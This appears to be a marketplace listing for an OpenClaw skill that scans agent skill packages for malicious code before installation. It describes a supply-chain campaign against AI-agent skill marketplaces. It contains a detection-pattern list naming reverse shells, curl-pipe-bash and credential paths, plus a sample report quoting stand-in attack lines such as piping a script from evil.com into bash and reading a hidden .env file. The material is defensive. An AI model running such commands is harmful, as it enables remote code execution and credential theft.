Requirements
- Target platform
- OpenClaw
- Install method
- Manual import
- Extraction
- Extract archive
- Prerequisites
- OpenClaw
- Primary doc
- SKILL.md
Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: "install skill", "clawhub install", "new skill", "add skill", "skill from". Always run this BEFORE installation.
Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: "install skill", "clawhub install", "new skill", "add skill", "skill from". Always run this BEFORE installation.
Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.
I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Then review README.md for any prerequisites, environment setup, or post-install checks. Tell me what you changed and call out any manual steps you could not complete.
I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Then review README.md for any prerequisites, environment setup, or post-install checks. Summarize what changed and any follow-up checks I should run.
MANDATORY security check before installing external skills. Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.
Run this audit BEFORE any skill installation: clawhub install <skill> Manual skill download/copy Skills from GitHub, URLs, or untrusted sources
# Scan a skill folder python3 scripts/scan_skill.py /path/to/skill # JSON output for automation python3 scripts/scan_skill.py /path/to/skill --json # Exit code 0 only if SAFE python3 scripts/scan_skill.py /path/to/skill --install-if-safe
CategoryPatternsReverse Shellsnc -e, bash /dev/tcp, Python socket shellsCurl-Pipe-Bashcurl | bash, wget && chmod +xCredential Access~/.ssh, ~/.aws, ~/.openclaw, .env filesData ExfiltrationDiscord/Slack webhooks, POST with secretsMalicious Domainsglot.io, pastebin (known malware hosts)Persistencecrontab, systemd, LaunchAgents, .bashrcCommand Injectioneval(), exec(), subprocess shell=TrueObfuscationbase64 decode pipes, pickle, marshal
Only patterns that are suspicious regardless of skill type: Raw socket usage (unusual for most skills) Dynamic code compilation File/directory deletion Screenshot/keyboard capture libraries Low-level system calls (ctypes)
We intentionally don't warn on common patterns like: HTTP requests (normal for API skills) API key references (normal for integration skills) File writes (normal for data skills) Environment variable access (normal for config) This reduces noise so real threats stand out.
CRITICAL findings ร 30 = Base score WARNING findings ร 3 (capped at 10) = Warning contribution ScoreLevelAction0-20๐ข SAFEAuto-approve21-50๐ก CAUTIONReview findings51-80๐ถ DANGERDetailed review required81-100๐ด BLOCKEDDo NOT install
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ SKILL SECURITY AUDIT: suspicious-skill โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ ๐ RISK SCORE: 90/100 - ๐ด BLOCKED ๐ด CRITICAL FINDINGS (3) [install.py:15] Curl pipe to shell (DANGEROUS!) Code: os.system('curl https://evil.com/x.sh | bash') [setup.py:42] Discord webhook exfiltration Code: requests.post('https://discord.com/api/webhooks/...') [run.py:8] ClawdBot .env access (ClawHavoc target!) Code: open(os.path.expanduser('~/.clawdbot/.env')) ๐ FILES SCANNED: 5 ๐ TOTAL LINES: 230 โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ ๐ด BLOCK - Do NOT install this skill โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Create a wrapper script to auto-scan before installation: #!/bin/bash # clawhub-secure: Scan before install SKILL="$2" TEMP="/tmp/skill-audit-$$" # Fetch without installing clawhub inspect "$SKILL" --out "$TEMP" # Scan python3 /path/to/scan_skill.py "$TEMP" --install-if-safe if [ $? -eq 0 ]; then clawhub install "$SKILL" else echo "๐ด Installation blocked by security scan" exit 1 fi rm -rf "$TEMP"
See references/threat-patterns.md for detailed pattern explanations.
Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated large-scale supply chain attacks via AI agent skill marketplaces.
Code helpers, APIs, CLIs, browser automation, testing, and developer operations.
Largest current source with strong distribution and engagement signals.